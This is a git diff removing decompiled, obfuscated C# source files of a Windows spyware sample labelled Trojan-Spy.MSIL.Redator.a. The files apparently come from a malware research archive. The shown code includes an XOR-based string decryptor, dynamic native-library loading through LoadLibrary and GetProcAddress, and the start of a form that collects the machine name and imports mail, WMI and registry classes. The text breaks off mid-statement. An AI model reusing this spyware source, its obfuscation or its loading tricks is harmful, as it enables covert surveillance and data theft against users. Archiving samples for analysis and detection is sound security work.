(object) this.\u0003(\u0003.\u0004(obj0, index)); - break; - case 4: - obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567509997))); - objArray[index] = (object) this.\u0003(\u0003.\u0005(obj0, index)); - break; - default: - obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567509997))); - objArray[index] = (object) string.Empty; - break; - } - checked { ++index; } - } - obj1.Rows.Add(objArray); - goto label_10; - } - - private int \u0004([In] IntPtr obj0, [In] ref DataTable obj1) - { - int num1 = \u0003.\u0005(obj0); - object[] objArray = new object[checked (num1 - 1 + 1)]; - int num2 = checked (num1 - 1); - int index = 0; - while (index <= num2) - { - switch (\u0003.\u0003(obj0, index)) - { - case 1: - objArray[index] = (object) \u0003.\u0004(obj0, index); - break; - case 2: - objArray[index] = (object) \u0003.\u0003(obj0, index); - break; - case 3: - objArray[index] = (object) this.\u0003(\u0003.\u0004(obj0, index)); - break; - case 4: - objArray[index] = (object) this.\u0003(\u0003.\u0005(obj0, index)); - break; - default: - objArray[index] = (object) string.Empty; - break; - } - checked { ++index; } - } - obj1.Rows.Add(objArray); - return \u0003.\u0004(obj0); - } - - private IntPtr \u0003([In] string obj0) - { - switch (obj0) - { - case null: - return IntPtr.Zero; - default: - byte[] bytes = Encoding.UTF8.GetBytes(obj0); - uint num1 = checked ((uint) (bytes.Length + 1)); - IntPtr num2 = \u0003.\u0003(\u0003.\u0003(), 0U, num1); - Marshal.Copy(bytes, 0, num2, bytes.Length); - Marshal.WriteByte(num2, bytes.Length, (byte) 0); - return num2; - } - } - - private string \u0003([In] IntPtr obj0) - { - if (obj0 == IntPtr.Zero) - return (string) null; - Encoding utF8 = Encoding.UTF8; - int num = this.\u0007(obj0); - byte[] numArray = new byte[checked (num - 1 + 1)]; - Marshal.Copy(obj0, numArray, 0, num); - return utF8.GetString(numArray, 0, num); - } - - private int \u0007([In] IntPtr obj0) => obj0 == IntPtr.Zero ? 0 : \u0003.\u0003(obj0); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0005/_0001.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0005/_0001.cs deleted file mode 100644 index fdaab168..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0005/_0001.cs +++ /dev/null @@ -1,77 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0005; -using \u0006; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0005 -{ - internal sealed class \u0001 - { - private static IntPtr \u0001; - public static string \u0001; - - [DllImport("kernel32.dll", EntryPoint = "LoadLibrary")] - private static extern IntPtr \u0003([In] string obj0); - - [DllImport("kernel32", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr \u0003([In] IntPtr obj0, [In] string obj1); - - public static long \u0003([In] string obj0) - { - long num; - try - { - string str = Environment.GetEnvironmentVariable(\u0001.\u0003(-1567516124)) + \u0001.\u0003(-1567516215); - \u0001.\u0003(str + \u0001.\u0003(-1567519556)); - \u0001.\u0003(str + \u0001.\u0003(-1567519679)); - \u0001.\u0003(str + \u0001.\u0003(-1567519663)); - \u0001.\u0003(str + \u0001.\u0003(-1567519646)); - \u0001.\u0003(str + \u0001.\u0003(-1567519630)); - \u0001.\u0003(str + \u0001.\u0003(-1567519744)); - \u0001.\u0003(str + \u0001.\u0003(-1567519722)); - \u0001.\u0003(str + \u0001.\u0003(-1567519685)); - \u0001.\u0001 = \u0001.\u0003(str + \u0001.\u0003(-1567509560)); - num = ((\u0001.\u0002) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509543)), typeof (\u0001.\u0002)))(obj0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return num; - } - - public static long \u0003() => ((\u0001.\u0004) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509526)), typeof (\u0001.\u0004)))(); - - public static long \u0003([In] long obj0, [In] bool obj1, [In] long obj2) => ((\u0001.\u0003) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509516)), typeof (\u0001.\u0003)))(obj0, obj1, obj2); - - public static int \u0003([In] IntPtr obj0, [In] IntPtr obj1, [In] StringBuilder obj2, [In] int obj3) => ((\u0001.\u0005) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509604)), typeof (\u0001.\u0005)))(obj0, obj1, obj2, obj3); - - public static int \u0003([In] ref \u0001.\u0001 obj0, [In] ref \u0001.\u0001 obj1, [In] int obj2) => ((\u0001.\u0006) Marshal.GetDelegateForFunctionPointer(\u0001.\u0003(\u0001.\u0001, \u0001.\u0003(-1567509569)), typeof (\u0001.\u0006)))(ref obj0, ref obj1, obj2); - - public struct \u0001 - { - public int \u0001; - public int \u0001; - public int \u0001; - } - - public delegate long \u0002(string _param1); - - public delegate long \u0003(long _param1, bool _param2, long _param3); - - public delegate long \u0004(); - - public delegate int \u0005(IntPtr _param1, IntPtr _param2, StringBuilder _param3, int _param4); - - public delegate int \u0006(ref \u0001.\u0001 _param1, ref \u0001.\u0001 _param2, int _param3); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0005/_0002.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0005/_0002.cs deleted file mode 100644 index ca2b9b57..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0005/_0002.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0005; -using \u0006; -using System.CodeDom.Compiler; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace \u0005 -{ - [DebuggerNonUserCode] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - internal sealed class \u0002 - { - private static ResourceManager \u0001; - private static CultureInfo \u0001; - - internal static ResourceManager \u0003() - { - if (object.ReferenceEquals((object) \u0002.\u0001, (object) null)) - \u0002.\u0001 = new ResourceManager(\u0001.\u0003(-1567509977), typeof (\u0002).Assembly); - return \u0002.\u0001; - } - - internal static byte[] \u0003() => (byte[]) RuntimeHelpers.GetObjectValue(\u0002.\u0003().GetObject(\u0001.\u0003(-1567516488), \u0002.\u0001)); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0005/_0003.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0005/_0003.cs deleted file mode 100644 index 9c58735d..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0005/_0003.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0007; -using System.Diagnostics; - -namespace \u0005 -{ - [DebuggerNonUserCode] - internal sealed class \u0003 - { - internal static \u0001 \u0003() => \u0001.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0006/_0001.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0006/_0001.cs deleted file mode 100644 index f7934775..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0006/_0001.cs +++ /dev/null @@ -1,104 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0006; -using System.Collections.Generic; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0006 -{ - internal static class \u0001 - { - private static readonly Dictionary \u0001 = new Dictionary(207); - private static BinaryReader \u0001; - private static byte[] \u0001; - private static short \u0001; - private static bool \u0001; - private static byte[] \u0001; - - [MethodImpl(MethodImplOptions.NoInlining)] - public static string \u0003([In] int obj0) - { - lock (\u0006.\u0001.\u0001) - { - string str; - if (\u0006.\u0001.\u0001.TryGetValue(obj0, out str)) - return str; - if (\u0006.\u0001.\u0001 == null) - goto label_28; -label_7: - int num1 = obj0 ^ -1567517749; - \u0006.\u0001.\u0001.BaseStream.Position = (long) num1; - byte[] numArray; - if (\u0006.\u0001.\u0001 != null) - { - numArray = \u0006.\u0001.\u0001; - } - else - { - short count = \u0006.\u0001.\u0001 != (short) -1 ? \u0006.\u0001.\u0001 : (short) ((int) \u0006.\u0001.\u0001.ReadInt16() ^ 32401 ^ num1); - numArray = count != (short) 0 ? \u0006.\u0001.\u0001.ReadBytes((int) count) : (byte[]) null; - } - int count1 = \u0006.\u0001.\u0001.ReadInt32() ^ num1 ^ -409120314; - bool flag = (count1 & int.MinValue) != 0; - if (flag) - count1 &= int.MaxValue; - byte[] bytes = \u0002.\u0003(numArray, \u0006.\u0001.\u0001.ReadBytes(count1)); - if (\u0006.\u0001.\u0001 != null != \u0006.\u0001.\u0001) - { - for (int index = 0; index < count1; ++index) - { - byte num2 = \u0006.\u0001.\u0001[index & 7]; - byte num3 = (byte) ((int) num2 << 3 | (int) num2 >> 5); - bytes[index] = (byte) ((uint) bytes[index] ^ (uint) num3); - } - } - if (flag && !\u0006.\u0001.\u0001) - { - char[] chArray = new char[count1]; - for (int index = 0; index < count1; ++index) - chArray[index] = (char) bytes[index]; - str = new string(chArray); - } - else - str = Encoding.Unicode.GetString(bytes, 0, bytes.Length); - if (\u0006.\u0001.\u0001) - str = (obj0 + count1 ^ 936568).ToString(\u0001.\u0001.\u0003(699)); - str = string.Intern(str); - \u0006.\u0001.\u0001.Add(obj0, str); - if (\u0006.\u0001.\u0001.Count == 207) - { - \u0006.\u0001.\u0001.Close(); - \u0006.\u0001.\u0001 = (BinaryReader) null; - \u0006.\u0001.\u0001 = \u0006.\u0001.\u0001 = (byte[]) null; - } - return str; -label_28: - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - Assembly.GetCallingAssembly(); - \u0006.\u0001.\u0001 = false; - \u0006.\u0001.\u0001 = new BinaryReader(executingAssembly.GetManifestResourceStream(\u0001.\u0001.\u0003(650))); - short count2 = (short) ((int) \u0006.\u0001.\u0001.ReadInt16() ^ 13973); - if (count2 == (short) 0) - \u0006.\u0001.\u0001 = (short) ((int) \u0006.\u0001.\u0001.ReadInt16() ^ -31837); - else - \u0006.\u0001.\u0001 = \u0006.\u0001.\u0001.ReadBytes((int) count2); - \u0006.\u0001.\u0001 = executingAssembly.GetName().GetPublicKeyToken(); - if (\u0006.\u0001.\u0001 != null && \u0006.\u0001.\u0001.Length == 0) - { - \u0006.\u0001.\u0001 = (byte[]) null; - goto label_7; - } - else - goto label_7; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0006/_0002.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0006/_0002.cs deleted file mode 100644 index e3d272e0..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0006/_0002.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using System.Runtime.InteropServices; - -namespace \u0006 -{ - internal static class \u0002 - { - public static byte[] \u0003([In] byte[] obj0, [In] byte[] obj1) - { - byte num1 = obj0[1]; - int length = obj1.Length; - byte num2 = (byte) (length + 11 ^ (int) num1 + 7); - uint num3 = (uint) (((int) obj0[0] | (int) obj0[2] << 8) + ((int) num2 << 3)); - ushort num4 = 0; - for (int index = 0; index < length; ++index) - { - if ((index & 1) == 0) - { - num3 = (uint) ((int) num3 * 214013 + 2531011); - num4 = (ushort) (num3 >> 16); - } - byte num5 = (byte) num4; - num4 >>= 8; - byte num6 = obj1[index]; - obj1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5); - num2 = num6; - } - return obj1; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0006/_0003.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0006/_0003.cs deleted file mode 100644 index 0a7e3e7d..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0006/_0003.cs +++ /dev/null @@ -1,2398 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0004; -using \u0005; -using \u0006; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Collections; -using System.ComponentModel; -using System.Data; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Management; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Text.RegularExpressions; -using System.Windows.Forms; - -namespace \u0006 -{ - internal class \u0003 : Form - { - private IContainer \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private System.Windows.Forms.Timer \u0001; - private System.Windows.Forms.Timer \u0001; - private System.Windows.Forms.Timer \u0001; - private System.Windows.Forms.Timer \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private CheckBox \u0001; - private CheckBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private System.Windows.Forms.Timer \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private TextBox \u0001; - private System.Windows.Forms.Timer \u0001; - private Label \u0001; - private TextBox \u0001; - private BackgroundWorker \u0001; - private ListBox \u0001; - private TextBox \u0001; - private string[] \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private IntPtr \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private int \u0001; - private ManagementClass \u0001; - private ManagementObjectCollection \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - private string \u0001; - - public \u0003() - { - \u0003 obj1 = this; - // ISSUE: virtual method pointer - this.Load += new EventHandler((object) obj1, __vmethodptr(obj1, \u0003)); - \u0003 obj2 = this; - // ISSUE: virtual method pointer - this.FormClosing += new FormClosingEventHandler((object) obj2, __vmethodptr(obj2, \u0003)); - this.\u0001 = (string) null; - this.\u0001 = Environment.MachineName; - this.\u0001 = (string) null; - this.\u0001 = \u0001.\u0003(-1567516475); - this.\u0001 = \u0001.\u0003(-1567516475); - this.\u0001 = \u0001.\u0003(-1567516475); - this.\u0001 = \u0001.\u0003(-1567516475); - this.\u0001 = 1; - this.\u0001 = new ManagementClass(\u0001.\u0003(-1567516462)); - this.\u0001 = this.\u0001.GetInstances(); - this.\u0001 = Path.GetTempPath(); - this.\u0001 = this.\u0001 + this.\u0001 + \u0001.\u0003(-1567516050) + this.\u0001 + \u0001.\u0003(-1567516534); - this.\u0001 = this.\u0001 + \u0001.\u0003(-1567516519); - this.\u0001 = this.\u0001 + \u0001.\u0003(-1567516497); - this.\u0003(); - this.\u0007(); - } - - [DebuggerNonUserCode] - protected override void Dispose([In] bool obj0) - { - try - { - if (!obj0 || this.\u0001 == null) - return; - this.\u0001.Dispose(); - } - finally - { - base.Dispose(obj0); - } - } - - private void \u0003() - { - this.\u0001 = (IContainer) new System.ComponentModel.Container(); - this.\u0003(new TextBox()); - this.\u0004(new TextBox()); - this.\u0005(new TextBox()); - this.\u0006(new TextBox()); - this.\u0007(new TextBox()); - this.\u0008(new TextBox()); - this.\u000E(new TextBox()); - this.\u000F(new TextBox()); - this.\u0010(new TextBox()); - this.\u0011(new TextBox()); - this.\u0012(new TextBox()); - this.\u0013(new TextBox()); - this.\u0014(new TextBox()); - this.\u0015(new TextBox()); - this.\u0016(new TextBox()); - this.\u0017(new TextBox()); - this.\u0018(new TextBox()); - this.\u0019(new TextBox()); - this.\u001A(new TextBox()); - this.\u001B(new TextBox()); - this.\u001C(new TextBox()); - this.\u001D(new TextBox()); - this.\u0003(new System.Windows.Forms.Timer(this.\u0001)); - this.\u0004(new System.Windows.Forms.Timer(this.\u0001)); - this.\u0005(new System.Windows.Forms.Timer(this.\u0001)); - this.\u0006(new System.Windows.Forms.Timer(this.\u0001)); - this.\u001E(new TextBox()); - this.\u001F(new TextBox()); - this.\u007F(new TextBox()); - this.\u0080(new TextBox()); - this.\u0081(new TextBox()); - this.\u0082(new TextBox()); - this.\u0083(new TextBox()); - this.\u0084(new TextBox()); - this.\u0086(new TextBox()); - this.\u0003(new CheckBox()); - this.\u0004(new CheckBox()); - this.\u0087(new TextBox()); - this.\u0088(new TextBox()); - this.\u0089(new TextBox()); - this.\u008A(new TextBox()); - this.\u008B(new TextBox()); - this.\u008C(new TextBox()); - this.\u008D(new TextBox()); - this.\u008E(new TextBox()); - this.\u0007(new System.Windows.Forms.Timer(this.\u0001)); - this.\u008F(new TextBox()); - this.\u0090(new TextBox()); - this.\u0091(new TextBox()); - this.\u0092(new TextBox()); - this.\u0093(new TextBox()); - this.\u0094(new TextBox()); - this.\u0095(new TextBox()); - this.\u0096(new TextBox()); - this.\u0097(new TextBox()); - this.\u0098(new TextBox()); - this.\u0008(new System.Windows.Forms.Timer(this.\u0001)); - this.\u0003(new Label()); - this.\u0099(new TextBox()); - this.\u0003(new BackgroundWorker()); - this.\u0003(new ListBox()); - this.\u009A(new TextBox()); - this.SuspendLayout(); - this.\u0003().Dock = DockStyle.Top; - this.\u0003().Enabled = false; - TextBox textBox1 = this.\u0003(); - Point point1 = new Point(0, 0); - Point point2 = point1; - textBox1.Location = point2; - this.\u0003().Multiline = true; - this.\u0003().Name = \u0001.\u0003(-1567517866); - this.\u0003().ReadOnly = true; - TextBox textBox2 = this.\u0003(); - Size size1 = new Size(483, 10); - Size size2 = size1; - textBox2.Size = size2; - this.\u0003().TabIndex = 0; - this.\u0004().BackColor = SystemColors.InfoText; - this.\u0004().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox3 = this.\u0004(); - point1 = new Point(12, 101); - Point point3 = point1; - textBox3.Location = point3; - this.\u0004().Name = \u0001.\u0003(-1567517849); - this.\u0004().ReadOnly = true; - TextBox textBox4 = this.\u0004(); - size1 = new Size(114, 20); - Size size3 = size1; - textBox4.Size = size3; - this.\u0004().TabIndex = 1; - this.\u0005().BackColor = SystemColors.InfoText; - this.\u0005().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox5 = this.\u0005(); - point1 = new Point(12, 81); - Point point4 = point1; - textBox5.Location = point4; - this.\u0005().Name = \u0001.\u0003(-1567517840); - this.\u0005().ReadOnly = true; - TextBox textBox6 = this.\u0005(); - size1 = new Size(114, 20); - Size size4 = size1; - textBox6.Size = size4; - this.\u0005().TabIndex = 2; - this.\u0006().BackColor = SystemColors.InfoText; - this.\u0006().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox7 = this.\u0006(); - point1 = new Point(148, 69); - Point point5 = point1; - textBox7.Location = point5; - this.\u0006().Name = \u0001.\u0003(-1567517951); - this.\u0006().ReadOnly = true; - TextBox textBox8 = this.\u0006(); - size1 = new Size(104, 20); - Size size5 = size1; - textBox8.Size = size5; - this.\u0006().TabIndex = 3; - this.\u0006().Text = \u0001.\u0003(-1567517934); - this.\u0007().BackColor = SystemColors.InfoText; - this.\u0007().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox9 = this.\u0007(); - point1 = new Point(52, 160); - Point point6 = point1; - textBox9.Location = point6; - this.\u0007().Name = \u0001.\u0003(-1567517907); - this.\u0007().ReadOnly = true; - TextBox textBox10 = this.\u0007(); - size1 = new Size(106, 20); - Size size6 = size1; - textBox10.Size = size6; - this.\u0007().TabIndex = 4; - this.\u0008().BackColor = SystemColors.InfoText; - this.\u0008().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox11 = this.\u0008(); - point1 = new Point(28, 241); - Point point7 = point1; - textBox11.Location = point7; - this.\u0008().Name = \u0001.\u0003(-1567517890); - this.\u0008().ReadOnly = true; - TextBox textBox12 = this.\u0008(); - size1 = new Size(98, 20); - Size size7 = size1; - textBox12.Size = size7; - this.\u0008().TabIndex = 5; - this.\u000E().BackColor = SystemColors.InfoText; - this.\u000E().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox13 = this.\u000E(); - point1 = new Point(116, 43); - Point point8 = point1; - textBox13.Location = point8; - this.\u000E().Name = \u0001.\u0003(-1567518001); - this.\u000E().ReadOnly = true; - TextBox textBox14 = this.\u000E(); - size1 = new Size(90, 20); - Size size8 = size1; - textBox14.Size = size8; - this.\u000E().TabIndex = 6; - this.\u000F().BackColor = SystemColors.InfoText; - this.\u000F().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox15 = this.\u000F(); - point1 = new Point(36, 184); - Point point9 = point1; - textBox15.Location = point9; - this.\u000F().Name = \u0001.\u0003(-1567517992); - this.\u000F().ReadOnly = true; - TextBox textBox16 = this.\u000F(); - size1 = new Size(110, 20); - Size size9 = size1; - textBox16.Size = size9; - this.\u000F().TabIndex = 7; - this.\u0010().BackColor = SystemColors.InfoText; - this.\u0010().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox17 = this.\u0010(); - point1 = new Point(384, 146); - Point point10 = point1; - textBox17.Location = point10; - this.\u0010().Name = \u0001.\u0003(-1567517975); - this.\u0010().ReadOnly = true; - TextBox textBox18 = this.\u0010(); - size1 = new Size(87, 20); - Size size10 = size1; - textBox18.Size = size10; - this.\u0010().TabIndex = 8; - this.\u0011().BackColor = SystemColors.InfoText; - this.\u0011().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox19 = this.\u0011(); - point1 = new Point(337, 120); - Point point11 = point1; - textBox19.Location = point11; - this.\u0011().Name = \u0001.\u0003(-1567517958); - this.\u0011().ReadOnly = true; - TextBox textBox20 = this.\u0011(); - size1 = new Size(108, 20); - Size size11 = size1; - textBox20.Size = size11; - this.\u0011().TabIndex = 9; - this.\u0012().BackColor = SystemColors.InfoText; - this.\u0012().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox21 = this.\u0012(); - point1 = new Point(365, 94); - Point point12 = point1; - textBox21.Location = point12; - this.\u0012().Name = \u0001.\u0003(-1567518070); - this.\u0012().ReadOnly = true; - TextBox textBox22 = this.\u0012(); - size1 = new Size(100, 20); - Size size12 = size1; - textBox22.Size = size12; - this.\u0012().TabIndex = 10; - this.\u0013().BackColor = SystemColors.InfoText; - this.\u0013().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox23 = this.\u0013(); - point1 = new Point(317, 42); - Point point13 = point1; - textBox23.Location = point13; - this.\u0013().Name = \u0001.\u0003(-1567518054); - this.\u0013().ReadOnly = true; - TextBox textBox24 = this.\u0013(); - size1 = new Size(85, 20); - Size size13 = size1; - textBox24.Size = size13; - this.\u0013().TabIndex = 11; - this.\u0014().BackColor = SystemColors.InfoText; - this.\u0014().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox25 = this.\u0014(); - point1 = new Point(258, 81); - Point point14 = point1; - textBox25.Location = point14; - this.\u0014().Name = \u0001.\u0003(-1567518038); - this.\u0014().ReadOnly = true; - TextBox textBox26 = this.\u0014(); - size1 = new Size(96, 20); - Size size14 = size1; - textBox26.Size = size14; - this.\u0014().TabIndex = 12; - this.\u0015().BackColor = SystemColors.InfoText; - this.\u0015().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox27 = this.\u0015(); - point1 = new Point(408, 42); - Point point15 = point1; - textBox27.Location = point15; - this.\u0015().Name = \u0001.\u0003(-1567518022); - this.\u0015().ReadOnly = true; - TextBox textBox28 = this.\u0015(); - size1 = new Size(75, 20); - Size size15 = size1; - textBox28.Size = size15; - this.\u0015().TabIndex = 13; - this.\u0016().BackColor = SystemColors.InfoText; - this.\u0016().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox29 = this.\u0016(); - point1 = new Point(212, 42); - Point point16 = point1; - textBox29.Location = point16; - this.\u0016().Name = \u0001.\u0003(-1567518134); - this.\u0016().ReadOnly = true; - TextBox textBox30 = this.\u0016(); - size1 = new Size(87, 20); - Size size16 = size1; - textBox30.Size = size16; - this.\u0016().TabIndex = 14; - this.\u0017().BackColor = SystemColors.InfoText; - this.\u0017().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox31 = this.\u0017(); - point1 = new Point(344, 68); - Point point17 = point1; - textBox31.Location = point17; - this.\u0017().Name = \u0001.\u0003(-1567518118); - this.\u0017().ReadOnly = true; - TextBox textBox32 = this.\u0017(); - size1 = new Size(108, 20); - Size size17 = size1; - textBox32.Size = size17; - this.\u0017().TabIndex = 15; - this.\u0018().BackColor = SystemColors.InfoText; - this.\u0018().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox33 = this.\u0018(); - point1 = new Point(337, 186); - Point 